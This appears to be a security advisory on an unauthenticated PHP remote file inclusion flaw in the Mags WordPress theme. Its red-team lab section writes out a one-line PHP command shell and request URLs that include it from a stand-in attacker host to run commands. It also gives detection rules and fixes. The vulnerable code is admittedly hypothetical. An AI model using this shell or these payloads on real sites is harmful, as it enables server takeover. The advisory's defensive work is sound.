CVE-2024-49701

Executive Summary

CVE-2024-49701 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Themehorse Mags WordPress theme, affecting versions up to and including 1.1.6. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers into the PHP execution context of the vulnerable WordPress site. Due to the lack of proper input sanitization in a file inclusion function (likely within a template or shortcode handler), an attacker can execute arbitrary PHP code, leading to full site compromise, data exfiltration, and potential server takeover.

The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'). The CVSS v3.1 base score is 7.5 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating network exploitability, low attack complexity, no privileges required, no user interaction, and a high impact on confidentiality, integrity, and availability.

As this is a WordPress ecosystem vulnerability, the attack surface is broad, given the widespread use of the Mags theme. No public proof-of-concept (PoC) or exploit code has been released at the time of analysis, but the vulnerability is trivially exploitable once the vulnerable parameter is identified.

Supply Chain & Package Security

This vulnerability is specific to the Themehorse Mags WordPress theme, which is distributed via the official WordPress theme repository and potentially through third-party marketplaces. The theme is a PHP-based package, and the vulnerability lies in the theme's own code, not in WordPress core or any external library. Users who have installed this theme from any source are at risk. The lack of a patch from the vendor (Themehorse) means that the supply chain is currently broken, and users must rely on manual mitigation or theme replacement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to all files on the server.
• Integrity (I): High (H) – Full write access to the file system.
• Availability (A): High (H) – Potential for denial of service or complete system disruption.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability stems from a PHP function within the Mags theme that uses user-supplied input to construct a file path for an include() or require() statement. The exact vulnerable function is likely in a template file (e.g., header.php, footer.php, or a custom shortcode handler) that accepts a parameter (e.g., page, template, or file) without proper validation.

Attack Flow:

1. An attacker identifies a WordPress site running the Mags theme (version <= 1.1.6).
2. The attacker crafts a malicious HTTP request to a vulnerable endpoint, such as: http://target-site.com/?page=http://attacker.com/evil.txt
3. The vulnerable PHP code processes the page parameter and passes it directly to an include() statement:

   include($_GET['page'] . '.php');
   

4. The attacker's remote server hosts a PHP shell (e.g., evil.txt), which is fetched and executed by the target server.
5. The attacker gains remote code execution (RCE) on the target server.

Key Technical Details:

• The vulnerability is in the Mags theme, not in WordPress core.
• The attack does not require authentication.
• The attacker can include files from any remote server, not just the local filesystem.
• The included file is executed as PHP, allowing arbitrary code execution.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common RFI vulnerabilities.

Vulnerable Code (Mags theme <= 1.1.6):

// In a template file, e.g., mags/template-parts/content.php
$page = $_GET['page'];
if (isset($page)) {
    include($page . '.php');
}

Patched Code (Hypothetical):

// Patched version would include input validation and whitelisting
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Default behavior or error
    include('home.php');
}

Key Differences:

• The patched code uses a whitelist of allowed values.
• The patched code does not allow remote URLs (e.g., by checking for http:// or ftp://).
• The patched code may also use realpath() to ensure the file is within the theme directory.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A local WordPress installation with the Mags theme (version 1.1.6) installed and activated.
2. Attacker Machine: A server (e.g., Kali Linux) with a web server to host the malicious payload.
3. Payload: Create a file evil.txt on the attacker's server with the following PHP code:

   <?php
   system($_GET['cmd']);
   ?>
   

Exploitation Steps:

1. Start a web server on the attacker machine: python3 -m http.server 80
2. Send a crafted request to the target:

   http://target-site.com/?page=http://attacker-ip/evil
   

   Note: The .php extension is appended by the vulnerable code, so the remote file should not have .php extension.
3. Execute commands:

   http://target-site.com/?page=http://attacker-ip/evil&cmd=id
   

Expected Output: The id command output will be displayed on the page.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for requests with suspicious page parameters containing http://, ftp://, or other URL schemes.
2. File Integrity Monitoring: Use tools like OSSEC or Tripwire to detect unauthorized file changes.
3. WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block RFI attempts.
4. Network Segmentation: Isolate the web server from critical internal systems.
5. Incident Response: If exploitation is detected, immediately take the server offline, preserve logs, and conduct forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown IP addresses or domains from the web server.
  • HTTP requests containing page=http:// or page=ftp:// in the URI.
  • Unusual User-Agent strings or repeated requests to the same endpoint.

• File System IOCs:

  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified theme files (e.g., content.php, header.php).
  • Presence of PHP shells or eval-based backdoors.

• Log IOCs:

  • Apache/Nginx access logs showing GET /?page=http:// patterns.
  • PHP error logs with include() failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2024_49701_RFI_Themehorse_Mags {
    meta:
        description = "Detects PHP RFI attempts targeting Themehorse Mags theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49701"
    strings:
        $rfi_pattern = /[?&]page=(https?|ftp):\/\// nocase
        $theme_indicator = "wp-content/themes/mags" nocase
    condition:
        $rfi_pattern and $theme_indicator
}

Sigma Rule

title: CVE-2024-49701 - Themehorse Mags RFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with RFI patterns targeting the Mags theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=http://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49701 Themehorse Mags RFI Attempt"; flow:to_server; content:"GET"; http_method; content:"page=http://"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Mags theme and switch to a different, actively maintained theme.
2. Apply a virtual patch using a WAF to block requests containing page=http:// or page=ftp://.
3. Restrict outbound traffic from the web server to only necessary destinations.

Long-Term Fix:

• Since the vendor (Themehorse) has not released a patch, the only permanent fix is to replace the theme with a secure alternative.
• If you must continue using the Mags theme, manually edit the vulnerable file to add input validation (as shown in the patched code example).

Verification:

• After applying mitigations, test the site to ensure the vulnerability is no longer exploitable.
• Monitor logs for any residual exploitation attempts.

Valters IT
Securing Digital Frontiers